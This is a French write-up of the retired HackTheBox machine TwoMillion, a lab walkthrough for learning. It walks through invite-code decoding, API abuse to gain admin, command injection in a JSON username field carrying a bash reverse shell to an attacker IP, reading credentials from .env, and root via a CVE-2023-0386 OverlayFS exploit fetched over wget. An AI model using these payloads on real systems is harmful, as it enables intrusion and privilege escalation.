Compte-rendu HTB-TwoMillion

Compte-rendu de la machine TwoMillion sur HackTheBox — Abus API, injection de commande & CVE-2023-0386

HackTheBox — Compte-rendu TwoMillion

HackTheBox — Compte-rendu TwoMillion

Informations sur la machine

Résumé

TwoMillion est une machine Linux facile centrée sur l'ancienne plateforme HackTheBox. Elle implique le décodage d'un code d'invitation, l'abus de points d'API, une injection de commande OS, la découverte d'identifiants et une élévation de privilèges du noyau Linux via CVE-2023-0386 (OverlayFS).

Énumération

Nmap

nmap -sV -sC -v 10.10.11.221

Ports ouverts :

• 22 — OpenSSH 8.9p1
• 80 — HTTP nginx → redirige vers 2million.htb

Ajouter à /etc/hosts :

echo "10.10.11.221 2million.htb" >> /etc/hosts

Étape 1 — Code d'invitation

curl -X POST http://2million.htb/api/v1/invite/how/to/generate

La réponse est encodée en ROT13. Décodez-la :

echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'

Générer le code d'invitation :

curl -X POST http://2million.htb/api/v1/invite/generate
echo "BASE64==" | base64 -d

Inscrivez-vous sur http://2million.htb/register en utilisant le code d'invitation décodé.

Étape 2 — Abus API → Admin

Connectez-vous via le navigateur, récupérez PHPSESSID depuis les cookies (F12 → Application → Cookies).

Élevez vos privilèges à admin :

curl -X PUT http://2million.htb/api/v1/admin/settings/update \
  -b "PHPSESSID=<your_session>" \
  -H "Content-Type: application/json" \
  --data '{"email":"[email protected]","is_admin":1}'

Vérifiez :

curl -b "PHPSESSID=<your_session>" http://2million.htb/api/v1/admin/auth
# {"message":true}

Étape 3 — Injection de commande → Shell inversé

Démarrer le listener :

nc -lvnp 4444

Envoyer la charge utile du shell inversé :

curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
  -b "PHPSESSID=<your_session>" \
  -H "Content-Type: application/json" \
  --data '{"username":"test;bash -c '"'"'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"'"' #"}'

Shell obtenu en tant que www-data.

Étape 4 — Drapeau utilisateur

Trouver les identifiants dans .env :

cat /var/www/html/.env
# DB_USERNAME=admin
# DB_PASSWORD=SuperDuperPass123

Connectez-vous en SSH :

ssh [email protected]
cat ~/user.txt

Étape 5 — Drapeau root (CVE-2023-0386)

Vérifiez l'indice :

cat /var/mail/admin
uname -r
# 5.15.70 — vulnérable à CVE-2023-0386

Téléchargez et compilez l'exploit sur Kali :

git clone https://github.com/xkaneiki/CVE-2023-0386
cd CVE-2023-0386
make all

Transférez sur la cible :

# Kali
python3 -m http.server 8000

# Cible
wget http://YOUR_IP:8000/exploit.zip
unzip exploit.zip
make all

Exécutez dans deux terminaux sur la cible :

Terminal 1 :

./fuse ./ovlcap/lower ./gc

Terminal 2 :

./exp

Récupérez le drapeau root :

cat /root/root.txt

Chaîne d'attaque

Outils utilisés

• Nmap
• curl
• Netcat
• CVE-2023-0386 PoC

Ce compte-rendu est à but éducatif uniquement sur une machine HackTheBox retirée.